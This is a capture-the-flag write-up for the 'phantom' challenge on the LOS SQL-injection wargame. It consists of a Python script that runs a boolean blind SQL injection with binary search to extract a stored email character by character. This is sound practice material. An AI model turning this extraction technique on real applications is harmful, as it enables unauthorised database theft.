LOS :: 29번 PHANTOM

WRITE UP

import requests
 
url = "http://los.rubiya.kr/phantom_e2e30eaf1c0b3cb61b4b72a932c849fe.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
flag=""
 
print("[∞] flag : ", end='')
 
for i in range(1,27):
    a=0
    b=127
    while b-a!=0:
        center = a+(b-a)//2+1
        data['joinmail'] = "1'*1 and if((select ord(mid(email,"+str(i)+",1)) from prob_phantom a where no=1)<"+str(center)+",1,0))#"
        res = requests.get(url, params=data, cookies=session)
        point = res.text.index("</table>")
        if "1" in res.text[point-15:point]:
            b=center-1
        else:
            a=center
    print(chr(a),end='')
    flag = flag + chr(a)
 
data['email']=flag
res = requests.get(url, params=data, cookies = session)
 
if "Clear!" in res.text:
   print("\n[♪] PHANTOM Clear!")